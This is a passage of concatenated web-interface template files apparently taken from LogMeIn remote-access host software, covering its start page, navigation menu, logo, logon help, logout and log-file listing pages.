<a href="term.html?%RND%" target="_blank" onmouseup="MR(&N&)">
<?endif?>
<?endif?>
<?else?>
<a href="telnet.html?%RND%" onmouseup="MR(&N&)">
<?endif?>
<?endmacro?>

<html>
<head><?include "setupdomain.html"?>
<?include "passsave.inc"?>
<script type="text/javascript" src="js/tooltip.js"></script>
<link type="text/css" rel="stylesheet" href="/css/lmiborgsupport.css" />
<style>
body {font: normal 12px arial; margin: 0px; background-color: white}
table {font: normal 12px arial}
a, a:visited {color: #1020A0}
a:hover {color: #4050E0}
.title1 {font: normal 18px arial; color: #4A589F;}
.title2 {font: normal 18px arial; color: #4A589F}
.title2 a, .title2 a:visited{font: normal 18px arial; color: #4A589F; text-decoration: none}
.title2 a:hover{text-decoration: underline}
.maindesc {padding-left: 20px; height: 55px}    
.didyou {color: #2ABE20; font-weight: bold}
.rightbox {width: 180px; background-color: white}    
.progress {background-color: #4759A3}
width: 95px; line-height: 40px; white-space: nowrap; color: white; text-decoration: none}
.buynow:visited {text-decoration: none; color: white}
.buynow:hover, .buynow:active {text-decoration: underline; color: white} 
.widhead {height: 21px; font-weight: bold; width: 100%}     
.loginInfo {line-height:16px; vertical-align: middle; margin-bottom:2px;}  
.linkColor {color: #1020A0;}     
.trial_buttonleft
{
width: 4px;
height: 38px;
padding: 0;
margin: 0;
border: 0;
background: #ebf5fe url('/img/trial_button_left.png') no-repeat top left;
display:inline;
float: left;
}
.trial_buttonright
{
width: 4px;
height: 38px;
padding: 0;
margin: 0;
border: 0;
background: #ebf5fe url('/img/trial_button_right.png') no-repeat top left;
display:inline;
float: left;
}
.trial_buttonmid
{
height: 38px;
padding: 0;
margin: 0;
border: 0;
display:inline;
float: left;
background: #ebf5fe url('/img/trial_button_mid.png') repeat-x top left;
color: white;
font: bold 12px Arial;
cursor: pointer;
}
</style>

<script language=javascript>
function handleremctrlclick() {
if (document.getElementById('remctrlnewwindow').checked) {
window.open('remctrl.html', 'RemCtrl', 'location=no, menubar=no, status=no, toolbar=no, resizable');
} else {
//			parent.menu.rollover('remctrl');
window.location='remctrl.html';
}
}
function MR(which)
{        
//        if (top.frames && top.frames.menu)
//            top.frames.menu.MenuRefresh(which);
}

function setCookie(name, value) {
cookieProxyImg = new Image();
cookieProxyImg.src = "/setcookie.html?name=" + name + "&value=" + value;
}

function DocumentLoaded() {
// <? if REQ.STARTCLIENT ?>
parent.frames['menu'].StartLogMeInClient("&REQ.STARTCLIENT&");
// <? endif ?>
}

function StartRemCtrl() {
if (! LMIBrowserInfo.IsPluginsSupported()) {
parent.frames['menu'].StartLogMeInClient("01");
} else {
if (_("remctrlnewwindow").checked) {
open("https://" + location.host + "/remctrl.html?remctrlnw=1");
} else {
location.replace("remctrl.html?remctrlnw=0");
}
}
}

function StartFileXfer() {
if (! LMIBrowserInfo.IsPluginsSupported()) {
parent.frames['menu'].StartLogMeInClient("02");
} else {
location.replace("filexfer.html");
}
}

function StartChat() {
if (! LMIBrowserInfo.IsPluginsSupported() && LMIBrowserInfo.GetPlatform() != kPLATFORM_MAC) {
parent.frames['menu'].StartLogMeInClient("04");
} else {
location.replace("chat.html");
}
}
</script>

</head>

<body onload="DocumentLoaded()">

<!-- if user loggin in by autologin we must load autologin infrastructure into autoLoginFrame, if user wants to delete saved password--> 
<? if LOGINMETHOD == "AUTOLOGIN" ?>
<div style="position:absolute; top: 2px; left:2px;">
<!-- Credentials.swf within autoLogin.html needs only 1px, 1px--> 
<iframe frameborder="0" id="autoLoginFrame" name="autoLoginFrame" width="20px" height="20px" scrolling="no" src="autoLogin.html?background=blueheader" ></iframe> 
</div>  
<? endif ?>

<div class="window">

<!-- Top header -->
<table cellpadding=0 cellspacing=0 width="100%" height="93" style="background: white">
<tr>
<td width=40 style="border-bottom: 1px solid #E6E6E6;"><img src="img/i-header.png" width="78" height="46" alt="" border=0 style="display: block; margin-left: 10px; margin-right: 10px; margin-top: 23px; margin-bottom: 24px;"></td>
<td nowrap valign=middle style="border-bottom: 1px solid #E6E6E6; width: 100%; vertical-align: middle">
<!-- Title text -->
<div class=title1 style="color: black">
&MSG.SECREM.CONNECTED&:&nbsp;
<script type="text/javascript">
var origname="$SRVNAME$";
if( origname.length > 40 )
origname = origname.substring( 0, 37 ) + "...";
document.write( htmlEncode(origname) );
</script>
</div>
<? if LOGINMETHOD == "AUTOLOGIN" ?>
<div class="loginInfo">&MSG.SECREM.VIAAUTOLOGIN& <span class="linkColor">&USERNAME&</span><a id="autoLoginDeleteLink" style="display:none;" class="linkColor" href="javascript:DeleteLastSavedCredentials();">&nbsp;&nbsp;&nbsp;&MSG.SECREM.DELETESTOREDPWD&</a></div> 
<? else ?>
<div class="loginInfo">&MSG.SECREM.LOGINAS& <span class="linkColor">&USERNAME&</span></div> 
<? endif ?>
<?if not ISUNIX?>
<!-- Start chat -->
<?action "getactiveuser" ?>
<?if ACTIVEUSERNAME = "NONE" ?>							    
&MSG.LOGIN.USERNOTLOGGEDIN&
<?else?>
<?if ACTIVEUSERMEASSUREMENT = "DAYS" ?>
&MSG.LOGIN.USERAWAY& &ACTIVEUSERLASTINPUT& &MSG.ADMIN.SCHEDULE.xdays& <?if FULLREMOTECONTROL = "1"?><a href="javascript: StartChat();">&MSG.MENU.LMISTART.INITIATECHAT& &nbsp;&raquo;</a><?endif?>
<?elseif ACTIVEUSERMEASSUREMENT = "HOURS" ?>
&MSG.LOGIN.USERAWAY& &ACTIVEUSERLASTINPUT& &MSG.ADMIN.SCHEDULE.xhours& <?if FULLREMOTECONTROL = "1"?><a href="javascript: StartChat();">&MSG.MENU.LMISTART.INITIATECHAT& &nbsp;&raquo;</a><?endif?>
<?elseif ACTIVEUSERMEASSUREMENT = "MINS" ?>
&MSG.LOGIN.USERAWAY& &ACTIVEUSERLASTINPUT& &MSG.ADMIN.SCHEDULE.xmins& <?if FULLREMOTECONTROL = "1"?><a href="javascript: StartChat();">&MSG.MENU.LMISTART.INITIATECHAT& &nbsp;&raquo;</a><?endif?>
<?else?>
&MSG.LOGIN.USERBUSY& <?if FULLREMOTECONTROL = "1"?><a href="javascript: StartChat();">&MSG.MENU.LMISTART.INITIATECHAT& &nbsp;&raquo;</a><?endif?>
<?endif?>					    
<?endif?>    
<?endif?>    
</td>
</tr>
</table>

<?include "borgmessages.html"?>

<!-- body section -->
<?set N = "1"?>
<table cellpadding="0" cellspacing="0" style="width: 100%;">
<tr>
<td valign=top style="padding-left: 40px; padding-top: 20px; padding-right: 10px;">
<table cellpadding=0 cellspacing=0 border=0>
<!-- Start remote control -->
<?if actions has "-remctrl-"?>
<tr>
<td><a href="javascript: void(0)" onclick="StartRemCtrl();" id="remctrlnw2" onmouseup="MR(&N&)"><img src="img/lmi_title_rc.png" width="62" height="51" border="0" alt=""></a></td>
<td class=maindesc>
<?if FULLREMOTECONTROL = "1"?>
<div class="title2"><a href="javascript: void(0)" onclick="StartRemCtrl();" id="remctrlnw3" onmouseup="MR(&N&)">&MSG.REMCTRL.TITLE&</a></div>
<span style="white-space: nowrap">&MSG.MENU.LMISTART.REMCTRL.DESC& &nbsp;</span>
<?else?>
<div class="title2"><a href="javascript: void(0)" onclick="StartRemCtrl();" id="remctrlnw3" onmouseup="MR(&N&)">&MSG.MENU.LMISTART.REMVIEW.TITLE&</a></div>
<span style="white-space: nowrap">&MSG.MENU.LMISTART.REMVIEW.DESC& &nbsp;</span>
<?endif?>
<script type="text/javascript">
if (LMIBrowserInfo.IsPluginsSupported()) {
document.writeln('<span style="white-space: nowrap"><input type=checkbox id="remctrlnewwindow" style="width: 13px; height: 13px; margin: 0px; margin-right: 3px; margin-bottom: 1px" <?checked COOKIE.REMCTRLNW = "1"?> onchange="setCookie(\'REMCTRLNW\', this.checked ? \'1\' : \'0\');"><label for=remctrlnewwindow>&MSG.MENU.LMISTART.REMCTRL.NEWWINDOW&</label></span>');
}
</script>
</td>
</tr>
<?usemacro INCREMENT(N)?>
<?endif?>

<?if FULLREMOTECONTROL = "1"?>
<?if not BRAND.LOGMEIN.FREE?>
<!-- Start file transfer -->
<?if actions has "-filexfer-"?>
<tr>
<td><a href="javascript: void(0)" onclick="StartFileXfer();" onmouseup="MR(&N&)"><img src="img/lmi_title_fileman.png" width="62" height="51" border="0" alt=""></a></td>
<td class=maindesc>
<div class="title2"><a href="javascript: void(0)" onclick="StartFileXfer();" onmouseup="MR(&N&)">&MSG.FILEXFER.TITLE&</a></div>
&MSG.MENU.LMISTART.FILEXFER.DESC&
</td>
</tr>
<?usemacro INCREMENT(N)?>
<?endif //if actions has "-filexfer-"?>

<!-- Start streaming -->
<?if BRAND.LOGMEIN and actions has "-remctrl-"?>
<tr>
<td><a href="streaming.html" onmouseup="MR(&N&)"><img src="img/lmi_title_streaming.png" width="62" height="51" border="0" alt=""></a></td>
<td class=maindesc>
<div class="title2"><a href="streaming.html" onmouseup="MR(&N&)">&MSG.MENU.STREAMING.TITLE.BETA&</a></div>
&MSG.MENU.STREAMING.DESC&
</td>
</tr>
<?usemacro INCREMENT(N)?>
<?endif?>

<!-- Start telnet -->
<tr>
<td>
<?usemacro CMDPROMPTLINK()?>
<img src="img/lmi_title_server.png" width="62" height="51" border="0" alt="">
</a>
</td>
<td class=maindesc>
<div class="title2">
<?usemacro CMDPROMPTLINK()?>
&MSG.TELNET.TITLE&</a>
</div>
&MSG.TELNET.DESC&
</td>
</tr>
<?usemacro INCREMENT(N)?>

<!-- Start guest invite -->
<?if actions has "-guestinvite-" and not CFG.RemoteControl.AllowInvites = "0"?>
<tr>
<td><a href="guestinvite.html" onmouseup="MR(&N&)"><img src="img/lmi_title_guestinvite.png" width="62" height="51" border="0" alt=""></a></td>
<td class=maindesc>
<div class="title2"><a href="guestinvite.html" onmouseup="MR(&N&)">&MSG.RAGUI.GUESTINVITE.START.CAPTION&</a></div>
&MSG.MENU.LMISTART.GUESTINVITE.DESC&
</td>
</tr>
<?usemacro INCREMENT(N)?>
<?endif?>

<!-- Start fileshare -->
<?if actions has "-filesharelist-"?>
<tr>
<td><a href="lmishare.html" onmouseup="MR(&N&)"><img src="img/lmi_title_fileshare.png" width="62" height="51" border="0" alt=""></a></td>
<td class=maindesc>
<div class="title2"><a href="lmishare.html" onmouseup="MR(&N&)">&MSG.WEBSVC.SHARE.TITLE&</a></div>
&MSG.MENU.LMISTART.FILESHARE.DESC&
</td>
</tr>
<?usemacro INCREMENT(N)?>
<?endif?>

<?endif //  if not BRAND.LOGMEIN.FREE ?>

<!-- Preferences -->
<?if DISPLAYPREFS or DISPLAYSEC?>
<tr>
<td><a href="lmipref.html" onmouseup="MR(&N&)"><img src="img/lmi_title_pref.png" width="62" height="51" border="0" alt=""></a></td>
<td class=maindesc>
<div class="title2"><a href="lmipref.html" onmouseup="MR(&N&)">&MSG.MENU.LMI.PREFER&</a></div>
&MSG.MENU.LMISTART.PREFERENCES.DESC&
</td>
</tr>
<?usemacro INCREMENT(N)?>
<?endif?>
<?endif // FULLREMOTECONTROL = "1" ?>

<!-- Start help -->
<tr>
<td><a href="lmihelp.html" onmouseup="MR(&N&)"><img src="img/lmi_title_info.png" width="62" height="51" border="0"></a></td>
<td class=maindesc>
<div class="title2"><a href="lmihelp.html" onmouseup="MR(&N&)">&MSG.MENU.LMI.HELP&</a></div>
&MSG.MENU.LMISTART.HELP.DESC&
</td>
</tr>
</table>

<div style="border-bottom: 1px solid #E6E6E6; height: 30px; margin-bottom: 15px">&nbsp;</div>

</td>

</tr>
</table>
</div>
<script language="javascript">

//Start of code needed for AutoLogin
function DeleteLastSavedCredentials()
{
var message =  "&MSG.SECREM.YOUAREAUTOLOGIN& " +  "$USERNAME$" + "\n" + "&MSG.SECREM.CLEARLOGIN&";
var answer = confirm(message);
if (answer && typeof (autoLoginFrame.DeleteLastSavedCredentials) == "function")
{
var result = autoLoginFrame.DeleteLastSavedCredentials();
if (result)
{
var deleteLink = document.getElementById("autoLoginDeleteLink");
deleteLink.style.display = "none";
setCookie('CREDENTIALSAVED', '0');
}
}
}

SetDomain();
//if we want to call function autoLoginFrame IFrame, we must set document.domain 
//to the same value as in autoLoginFrame
function SetDomain()
{
var hostName = window.location.hostname;
var hostNameParts = hostName.split(".");

if (hostNameParts.length > 1)
{
document.domain = hostNameParts[hostNameParts.length - 2] + "." + hostNameParts[hostNameParts.length - 1];
}
}
</script>

</body>
</html>
8FGLMI_menu.html&gz<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<script src="js/lmiborgsupport.js" type="text/javascript"></script>
<script type="text/javascript" src="/js/xmlhttp.js"></script>
<?if LOGINTRACKING?>
<script type="text/javascript" src="/js/tracking.js"></script>
<?endif?>
<?if HTTP.USERAGENT.IE or HTTP.USERAGENT.RACONSOLE
if not REQ.TYPE
set REQ.TYPE = "activex"
endif
include "chkobject.inc"
endif
if REQ.CHANGEINTERFACE = "1" // need to change interface type
action "cfginterface"
redirect "main.html"
endif?>
<?include "style.inc"?>
<style type="text/css">
body, td {background-color: white; margin: 0px; font: normal 12px arial}
table {font: normal 12px arial}    
.leftlink {color: white; text-decoration: none; text-align: left; display: block; float: left; line-height: 30px; padding-left: 35px; width: 100%; border-bottom: 1px solid #154d69; cursor: pointer}        
.leftlinkh {color: white; text-decoration: none; text-align: left; display: block; float: left; line-height: 30px; padding-left: 35px; width: 100%; border-bottom: 1px solid #154d69; cursor: default}
a, a:active, a:visited {outline: none}
.borders {border-top: 1px solid #7182C8; border-bottom: 1px solid #303C78}
.lefttd {padding-left: 5px; padding-top: 2px; padding-bottom: 2px}
.highed {background-color: #F0F2FF; color: black; cursor: default; background-image: none;} 
</style>

<script src="js/menutools.js?ui=%UI%" type="text/javascript"></script>

<base target="body">
<script type="text/javascript">
var selakku = 0; var lnimg = ""; var lntext = ""; var lnlink = ""; var lntarget = "";
location.search ? querystr = location.search : querystr = "";
var leftnav = [
"but-home#$MSG.MENU.LMISTART.HOME$|lmistart.html?&RND&",
<?if actions has "-remctrl-"?>
<?if FULLREMOTECONTROL = "1" ?>
"but-rc#$MSG.REMCTRL.TITLE$|remctrl.html",
<?else?>
"but-rc#$MSG.MENU.LMISTART.REMVIEW.TITLE$|remctrl.html",
<?endif?>
<?endif?>
<?if FULLREMOTECONTROL = "1" ?>
<?if not BRAND.LOGMEIN.FREE?>
<?if actions has "-filexfer-"?>
"but-fm#$MSG.FILEXFER.TITLE$|filexfer.html",
<?endif?>
<?if BRAND.LOGMEIN and actions has "-remctrl-"?>
"but-streaming#$MSG.MENU.STREAMING.TITLE$|streaming.html",
<?endif?>
<?if XTERM.SUPPORT ?>
<?if HTTP.USERAGENT.RACONSOLE ?>
"but-rc#$MSG.TELNET.TITLE$|telnet.html?%RND%",
<?else?>
<?if HTTP.USERAGENT.IE ?>
"but-rc#$MSG.TELNET.TITLE$|hterm.html?%RND%|_blank",
<?else?>
"but-rc#$MSG.TELNET.TITLE$|term.html?%RND%|_blank",
<?endif?>
<?endif?>
<?else?>
"but-rc#$MSG.TELNET.TITLE$|telnet.html?%RND%",
<?endif?>
<?if actions has "-guestinvite-" and not CFG.RemoteControl.AllowInvites = "0"?>
//should change
"but-meet#$MSG.RAGUI.GUESTINVITE.START.CAPTION$|guestinvite.html",
<?endif?>
<?if actions has "-filesharelist-"?>
"but-share#$MSG.WEBSVC.SHARE.TITLE$|lmishare.html",
<?endif?>
<?endif // logmein free?>
<?if DISPLAYPREFS or DISPLAYSEC?>
"but-pref#$MSG.MENU.LMI.PREFER$|lmipref.html",
<?endif?>
<? endif // FULLREMOTECONTROL = "1" ?>
"but-help#$MSG.MENU.LMI.HELP$|lmihelp.html",
"but-disconnect#$MSG.MENU.LMI.DISCONNECT$|default.html?logout=yes|_top"
];

var reqID = <?if REQ.MENU?>$REQ.MENU$<?else?>0<?endif?>;

//function mo(that) {
//    that.style.backgroundImage = "url(img/left_hover.jpg)";
//}
function mo(that, optionid) {
if (optionid != selakku) {
sliceOption(optionid);
that.style.background = "black url(img/"+lnimg+"-over.gif) no-repeat top left";
}
}

//function mu(that) {
//    that.style.backgroundImage = "none";
//}
function mu(that, optionid) {
if (optionid != selakku) {
sliceOption(optionid);
that.style.background = "black url(img/"+lnimg+"-norm.gif) no-repeat top left";
}
}

//function MenuRefresh(optionid) {
//    parent.frames.menu.location = "lmi_menu.html?menu=" + optionid;
//}
function MenuRefresh(optionid) {
sliceOption(selakku);
document.getElementById("ahr" + selakku).style.background = "white url(img/"+lnimg+"-norm.gif) no-repeat top left";
document.getElementById("ahr" + selakku).className = "leftlink";
selakku = optionid;
sliceOption(optionid);
document.getElementById("ahr" + optionid).style.background = "white url(img/"+lnimg+"-sel.gif) no-repeat top left";
document.getElementById("ahr" + optionid).className = "leftlinkh";
}

function setWideScreenCookie(cookievalue) {
cookieProxyImg = new Image();
cookieProxyImg.src = "/setcookie.html?name=WIDESCREEN&value=" + cookievalue;
}

function sliceOption(optionid) {
var parts = leftnav[optionid].split(/[#|]/);
lnimg = parts[0];
lntext = parts[1];
lnlink = parts[2];
lntarget = parts[3];
}

function rollover(id)
{
for (i = 0; i < leftnav.length; i++)
{
if (id == i)
{
// turn tab "on"
e = document.getElementById('navtd' + i);
e.className = 'borders lefttd highed';

e = document.getElementById('navlink' + i);
e.style.color = "black";
}
else
{
// turn tab "off"
e = document.getElementById('navtd' + i);
e.className = 'borders lefttd';

e = document.getElementById('navlink' + i);
e.style.color = "white";
}
}
}

function IsStartPage() {
var sUrl = parent.frames["body"].location.toString();
return (sUrl && (-1 < sUrl.indexOf("lmistart.html")));
}

function TryToStartLogMeInClientApp(sMode) {
if (IsStartPage()) {
StartLogMeInClient(sMode);
} else {
parent.frames["body"].location.replace("lmistart.html?startclient=" + sMode);
}
}

function OnClickMenu(sUrl) {
if (! LMIBrowserInfo.IsPluginsSupported()) {
if (-1 < sUrl.indexOf("remctrl.html")) {
TryToStartLogMeInClientApp("01");
return;
}
if (-1 < sUrl.indexOf("filexfer.html")) {
TryToStartLogMeInClientApp("02");
return;
}
}
if (-1 < sUrl.indexOf('logout=yes')) {
top.location.replace(sUrl);
} else {
parent.frames["body"].location.replace(sUrl);
}
}

var gWatchdogErrors = 0;

function onDisconnect() {
++gWatchdogErrors;
if (3 <= gWatchdogErrors) {
top.location.replace("$RA.COM$" + "/r.asp?r=mycomputers&errorcode=4&hostid=" + "$WEBSVC.HOSTID$")
}
}

function onWatchdogSuccess() {
gWatchdogErrors = 0;
}

function startWatchdog() {
PerformViewMonitorProxy.callWatchDog(null, onDisconnect, onDisconnect);
window.setTimeout(startWatchdog, 5000);
}

function onDocumentLoaded() {
if (! LMIBrowserInfo.IsPluginsSupported()) {
startWatchdog();
} 
// <?if HTTP.USERAGENT.IE ?>
else {
chkObject('rapvobj2', false);                
}
// <?endif?>
MenuRefresh(selakku);

<?if LOGINTRACKING?>
var trackAction = 0;
if      ("$LOGINTRACKING$" == "CAC" ) trackAction = kACT_LOGIN_CAC;
else if ("$LOGINTRACKING$" == "UP"  ) trackAction = kACT_LOGIN_UP;
else if ("$LOGINTRACKING$" == "UPD" ) trackAction = kACT_LOGIN_UPD;
<?set session LOGINTRACKING=""?>
Tracking.trackAction(kAPP_LOGIN, trackAction);
<?endif?>
}
</script>
</head>

<body id="menubody" style="overflow: hidden; <? if WHITELABELEDACCOUNT has "0" ?><? if ISCENTRAL has "1" ?>background: transparent url(img/lmi_central_blue_hex.png) no-repeat bottom 20px center; background-size: 75%;<? else ?>background: transparent url(img/lmi_pro_blue_hex.png) no-repeat bottom 20px center; background-size: 75%;<? endif ?><? endif ?>" onload="onDocumentLoaded();">
<?include "borgmenu.html"?>
<div id="menucontent" style="">
<table cellpadding="0" cellspacing="0" style="width: 160px;" id="menutable">
<?if not FORCEUI and not BRAND.LOGMEIN.FREE and not ISUNIX and FULLREMOTECONTROL = "1"?>
<tr><td>
<div style="height: 14px; font: normal 12px arial; cursor: default; color: white; background: #212740 url(img/itr_menu_max_n.jpg) no-repeat top right; white-space: nowrap; overflow: hidden; padding-left: 10px;" onclick="parent.location.replace('$TEMPLATE$?changeinterface=1');" onmouseout="this.style.backgroundImage='url(\'img/itr_menu_max_n.jpg\')';" onmouseover="this.style.backgroundImage='url(\'img/itr_menu_max_h.jpg\')';">
&MSG.MENU.SWITCH.TO.DASHBOARD&
</div>
</td></tr>
<?endif?>

<script type="text/javascript">
for (i = 0; i < leftnav.length; i++) {
if (leftnav[i]) {
sliceOption(i);
if (LMIBrowserInfo.IsPluginsSupported()) {
document.write ('<tr><td nowrap="true"><a href="' + lnlink + '" ' + (lntarget ? 'target="' + lntarget + '" ' : '')
+ ' class="leftlink" style="background: black url(img/'+lnimg+'-norm.gif) no-repeat top left;" onmouseup="MenuRefresh(' 
+ i + ')" onmouseover="mo(this, ' + i + ')" onmouseout="mu(this, ' + i + ')" id="ahr' + i + '" title="' + lntext + '">' 
+ lntext + '</a></td></tr>');
} else {
document.write ('<tr><td nowrap="true"><a href="javascript:;" onclick="OnClickMenu(\'' + lnlink + '\')"'
+ ' class="leftlink" style="background: black url(img/'+lnimg+'-norm.gif) no-repeat top left;" onmouseup="MenuRefresh(' 
+ i + ')" onmouseover="mo(this, ' + i + ')" onmouseout="mu(this, ' + i + ')" id="ahr' + i + '" title="' + lntext + '">' 
+ lntext + '</a></td></tr>');
}
}
}
</script>

<?if COOKIE.WIDESCREEN = "1"?>
<script language="javascript">
minmaxMenu(null, true);
</script>
<?endif?>
</table>

</div>
<div id="menuSplitter" class="menuSplitter" onclick="minmaxMenu(this, true);" title="$MSG.MENU.MINIMIZEMENU$" onmouseover="minmaxOnMouseOver();" onmouseout="minmaxOnMouseOut();">
<img id="minmaxButton" src="img/menu_splitter_close.gif" style="width: 7px; height: 49px; position: relative; top: 48%;" />
</div>
<div id="watchdogcontainer" style="position: absolute; background-color: #00496e; top: 0px; left: 0px; width: 1px; height: 1px;">
<?if HTTP.USERAGENT.IE and NOT HTTP.USERAGENT.RACONSOLE
set BG="#00496e"
include "watchdog.html"
else?>
<iframe src="watchdog_wrapper.html" width="1" height="1" frameborder="0"></iframe>
<?endif?>
</div>
<?include "webkeepalive.html"?>
</body>
<script type="text/javascript">
<?if NOT HTTP.USERAGENT.RACONSOLE ?>
if (!LMIBrowserInfo.IsPluginsSupported())
<?endif?>
{
_("watchdogcontainer").innerHTML = "";
}
</script>
</html>
C_Rlogo.htmll<?ratmpl?>
<?
set LOGOIMGWIDTH = "160"
set LOGOIMGHEIGHT = "64"
// set logo image
if BRAND.LOGMEIN
if not LICENSE.VALID
set LOGOIMG = "LogMeIn.png"
set LOGOIMGWIDTH = "160"
set LOGOIMGHEIGHT = "64"
elseif BRAND.LOGMEIN.IT
if REQ.TYPE = "ITMENU"
set LOGOIMG = "LogMeIn_IT_L.gif"
set LOGOIMGWIDTH = "150"
set LOGOIMGHEIGHT = "70"
else
set LOGOIMG = "LogMeIn_IT.gif"
set LOGOIMGWIDTH = "120"
set LOGOIMGHEIGHT = "53"
endif
else
set LOGOIMG = "LogMeIn_Free.gif"
set LOGOIMGWIDTH = "93"
set LOGOIMGHEIGHT = "53"
endif
elseif not LICENSE.VALID
// no license inserted, use generic logo
set LOGOIMG = "RAlogo.png"
else
if USERNAME
// already logged in, show logo with product type
switch LICENSE.PRODUCT
case "srvpro"
set LOGOIMG = "RAlogoSP.png"
case "wkspro"
set LOGOIMG = "RAlogoEE.png"
case "secrem"
set LOGOIMG = "RAlogoSR.png"
case default
set LOGOIMG = "RAlogo.png"
endswitch
else
// not yet logged in, show logo without product type
set LOGOIMG = "RAlogo.png"
endif
endif
// set default background color
if not LOGOBG
if REQ.LOGOBG
set LOGOBG = REQ.LOGOBG
else
set LOGOBG=COLOR.MenuBack
endif
endif

?>
<?if BRAND.LOGMEIN.IT and not UITYPE="LMI"?>
<html><body bgcolor="&LOGOBG&" style="margin: 0px; padding: 0px;"><div style="width: 100%; height: 100%; text-align: center; background-color: &LOGOBG&; margin: 0px; padding: 0px;">
<?endif?>
<img src="/img/&LOGOIMG&<?if HTTP.USERAGENT has "MSIE 6.0"?>?bg=&LOGOBG&<?endif?>" alt="&PRODUCTNAME&" width="&LOGOIMGWIDTH&" height="&LOGOIMGHEIGHT&" border="0">
<?if BRAND.LOGMEIN.IT and not UITYPE="LMI" // ?>
</div></body></html>
<?endif?>_logonhelp.htmlQ<?ratmpl?>
<html>
<head><?include "setupdomain.html"?>
<?include "style.inc"?>
<title><?&PRODUCTNAME?></title>
</head>
<body class="title">
<table>
<tr>
<td width=15>&nbsp;</td>
<td>
<br>
<h1><?&MSG.LOGIN.LOGONHELP.LOGONHELP?></h1>
<hr>
<?switch LOGONHELP?>
<?case "1"?>
<?&MSG.LOGIN.LOGONHELP.SINGLEUSER.LINE1?><br><br>
<?&MSG.LOGIN.LOGONHELP.SINGLEUSER.LINE2?><br><br>
<hr>
<center>
<img src="/img/logonhelp_singleuser.png" width="400" height="233">
<?case "2"?>
<?&MSG.LOGIN.LOGONHELP.XPPRO.LINE1?><br><br>
<?&MSG.LOGIN.LOGONHELP.XPPRO.LINE2?><br><br>
<hr>
<center>
<img src="/img/logonhelp_xppro.png" width="417" height="241">
<?case "3"?>
<?&MSG.LOGIN.LOGONHELP.XPPRO.LINE1?><br><br>
<?&MSG.LOGIN.LOGONHELP.XPPRO.LINE2?><br><br>
<hr>
<center>
<img src="/img/logonhelp_w2k.png" width="417" height="230">
<?case "4"?>
<?&MSG.LOGIN.LOGONHELP.WIN9X.LINE1?><br><br>
<?&MSG.LOGIN.LOGONHELP.WIN9X.LINE2?><br><br>
<hr>
<center>
<img src="/img/logonhelp_win9x.png" width="399" height="222">
<?case "5"?>
<?&MSG.LOGIN.LOGONHELP.XPHOME.LINE1?><br><br>
<?&MSG.LOGIN.LOGONHELP.XPHOME.LINE2?><br><br>
<hr>
<center>
<img src="/img/logonhelp_xphome.png" width="429" height="235">
<?case "6"?>
<?&MSG.LOGIN.LOGONHELP.XPPRO.LINE1?><br><br>
<?&MSG.LOGIN.LOGONHELP.XPPRO.LINE2?><br><br>
<hr>
<center>
<img src="/img/logonhelp_2k3.png" width="417" height="234">
<?case "7"?>
<?&MSG.LOGIN.LOGONHELP.XPHOME.LINE1?><br><br>
<?&MSG.LOGIN.LOGONHELP.XPHOME.LINE2?><br><br>
<hr>
<center>
<img src="/img/logonhelp_vista.png" width="318" height="250">
<?endswitch?>
<form>
<hr>
<input type="button" value="&MSG.LOGIN.LOGONHELP.CLOSE&" onclick="javascript:window.close();">
</form>
</center>
</td>
<td width=15>&nbsp;</td>
</tr>
</table>
</body>
</html>-logout.htmlHve<?ratmpl?>
<?
nocache
action "logout"
redirect "/default.html"
?>
"logout.wmlX<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN" "http://www.wapforum.org/DTD/wml_1.1.xml">
<?ratmpl?>
<wml> 
<card id="card1" title="&SRVNAME&" newcontext="true">
<?
action "logout"
?>

<p align="center">
<br/>
<b><?&MSG.LOGOUT.GOODBYE?></b>
<br/>
<br/>
<?&MSG.LOGOUT.THANKYOU?>
</p>
</card>
</wml> 
ٺXlogs.html<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "table.inc"?>
</head>

<body>
<?
if CFG.Log.Directory
set REQ.DIR = CFG.Log.Directory
else
set REQ.DIR = DEFAULTLOGDIR
endif
action "filefind" REQ.LIST="f" REQ.FIND="*.log" REQ.SORT="md"
usemacro WINERRDLG()
?>
<div class="window">
<div class="titleBar" style="padding-bottom: 0px;" /><?if BRAND.LOGMEIN?><?usemacro TITLEICON("pref")?><?else?><?usemacro TITLEICON("secure")?><?endif?><span class="titleText">&MSG.INFO.LOGS.TITLE&</span></div>

<?if not UI="secrem"?>
<!-- TOOLBAR -->
<div id="toolbar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%MSG.INFO.LOGS.TITLE%&favicon=menu_secure.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?log=%REQ.LOG%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<div class="buttonGroup">
<a href="cfglog.html?%RND%"><img src="img/ico_prop.gif" border="0" title="&MSG.MENU.PREFER&"></a>
</div>
</div>
<?endif?>



<?if FILES?>
<table width="100%" cellpadding="12" cellspacing="12">

<tr><td>

<table width="80%" align="left" class="inner" id="flist">
<!-- HEADER -->
<thead>
<tr>
<th>&nbsp;</th>
<th>&NAME&</th>
<th>&DRIVE.VSIZE&</th>
<th>&DRIVE.TIMEM&</th>
</tr>
</thead>
<!-- CONTENT -->
<tbody>
<?enum FILES?>
<tr ondblclick="window.location='$TEMPLATE$?log=$FILE.NAME$#log'">
<?if not ISUNIX?>
<td align=center><?if CFG.USEICONS>0?><img src="fileicon.png?bg=%COLOR.DlgBack%&type=.%FILE.EXT%&size=16" width="16" height="16"><?endif?></td>
<?else?>
<td></td>
<?endif?>
<td nowrap><a href="/download/?dir=%DIR.PATH%&file=%FILE.NAME%&pack=zip" onclick="return false"><?&FILE.NAME?></a></td>
<td class="num"><?&FILE.SIZE _szk?></td>
<td class="num"><?&FILE.TIMEM _dtms?></td>
</tr>
<?next?>
</tbody>
<tfoot>
<tr>
<td class="ico16">&#931;</td>
<td colspan="3"><a href="/download/?dir=%DIR.PATH%<?enum FILES?>&file=%FILE.NAME%<?next?>&pack=zip">&MSG.INFO.LOGS.GETALL&</a></td>
</tr>
</tfoot>
</table>

</td></tr></table>
<br>
<?else?>
&WINERRMSG&
<?endif?>
<script type="text/javascript">
